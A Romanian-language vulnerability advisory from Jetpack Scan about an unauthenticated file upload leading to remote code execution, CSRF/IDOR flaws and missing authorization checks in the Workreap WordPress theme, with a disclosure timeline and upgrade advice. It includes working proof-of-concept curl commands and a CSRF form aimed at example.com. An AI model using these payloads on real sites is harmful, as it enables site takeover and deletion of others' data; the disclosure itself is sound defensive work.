Vulnerabilitati multiple în tema Workreap de la Amentotech

Publicat: 2021-07-07

Recent, echipa Jetpack a găsit câteva fișiere infectate pe unul dintre site-urile clienților noștri găzduiți și a urmărit rapid sursa infecției până la tema Workreap de la Amentotech. Am început o investigație și am descoperit o serie de puncte finale AJAX vulnerabile în temă; Cea mai gravă dintre acestea a fost o vulnerabilitate de încărcare neautentificată, nevalidată, care ar putea duce la execuția de cod de la distanță și la preluarea completă a site-ului.

Am raportat vulnerabilitățile echipei Amentotech prin programul Envato Helpful Hacker, iar problemele au fost rezolvate prompt de către aceștia. Versiunea 2.2.2 a temei a fost lansată pe 29 iunie 2021, care remediază vulnerabilitățile găsite.

TL;DR

Datorită gravității vulnerabilităților, recomandăm tuturor utilizatorilor temei Workreap să facă upgrade la versiunea 2.2.2 sau ulterioară cât mai curând posibil.

Descărcați upgrade-ul de pe site-ul web al temei și instalați-l manual sau faceți upgrade automat prin plugin-ul de piață Envato.

Detalii

Numele temei: Workreap
URI temă: http://amentotech.com/projects/wpworkreap
Autor: Amentotech
URI autor: https://themeforest.net/user/amentotech/portfolio

Vulnerabilitățile

Datorită gravității vulnerabilităților, vom amâna postarea dovezilor de concept și a analizei complete pentru a oferi utilizatorilor timp să facă upgrade.

Încărcare neautentificată care duce la executarea codului de la distanță

Versiuni afectate: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CWSS: 90,7
Link WPScan: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

Acțiunile AJAX workreap_award_temp_file_uploader și workreap_temp_file_uploader nu au efectuat verificări neobișnuite sau nu au validat în niciun alt mod că cererea este de la un utilizator valid. Punctele finale au permis încărcarea fișierelor arbitrare în directorul uploads/workreap-temp . Fișierele încărcate nu au fost nici igienizate, nici validate, permițând unui vizitator neautentificat să încarce cod executabil, cum ar fi scripturi php.

Dovada de concept

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Vulnerabilitati multiple CSRF + IDOR

Versiuni afectate: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78,3
Link WPScan: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Mai multe acțiuni AJAX disponibile în tema Workreap nu aveau protecții CSRF, precum și permiteau referințe nesigure la obiecte directe (IDOR) care nu au fost validate. Acest lucru permite unui atacator să păcălească un utilizator conectat pentru a trimite o solicitare POST către site-ul vulnerabil, potențial modificând sau ștergând obiecte arbitrare de pe site-ul țintă.

În versiunile anterioare 2.0.0, aceste acțiuni nu aveau complet autentificare și erau exploatate de către orice vizitator al site-ului.

Dovada de concept

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Lipsesc verificări de autorizare în acțiunile AJAX

Versiuni afectate: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWSS: 68,5
Link WPScan: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Mai multe acțiuni AJAX disponibile în tema Workreap lipseau verificări de autorizare pentru a verifica dacă un utilizator a fost autorizat să efectueze operațiuni critice, cum ar fi modificarea sau ștergerea obiectelor. Acest lucru a permis unui utilizator conectat să modifice sau să șteargă obiecte care aparțin altor utilizatori de pe site.

În versiunile anterioare 2.0.0, aceste acțiuni nu au autentificare completă și au fost exploatate de către orice vizitator al site-ului.

Dovada de concept

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Cronologie

24.06.2021: Vulnerabilitatea de încărcare inițială descoperită de echipa Jetpack Scan, raportată programului Envato Helpful Hacker.
25-06-2021: Au fost descoperite vulnerabilități suplimentare documentate, a informat Amentotech prin Envato.
27.06.2021: Versiunea 2.2.1 a fost lansată, a abordat unele dintre vulnerabilități, dar nu toate.
29.06.2021: Versiunea 2.2.2 a fost lansată și remedieri verificate de echipa Jetpack Scan.

Concluzie

Vă recomandăm să verificați versiunea curentă a temei Workreap pe care o utilizați pe site-ul dvs. și, dacă este mai mică de 2.2.2, să o actualizați cât mai curând posibil!

La Jetpack, muncim din greu pentru a ne asigura că site-urile dvs. sunt protejate de aceste tipuri de vulnerabilități. Pentru a fi cu un pas înaintea oricăror noi amenințări, consultați Jetpack Scan, care include scanarea de securitate și eliminarea automată a programelor malware.

credite

Cercetător original: Harald Eilertsen

Mulțumim restului echipei Jetpack Scan pentru feedback, ajutor și corecții. De asemenea, mulțumim lui kailoon al programului Envato Helpful Hacker pentru asistență în a contacta Amentotech și lui Amentotech pentru un răspuns prompt în abordarea problemelor și lansarea versiunii actualizate.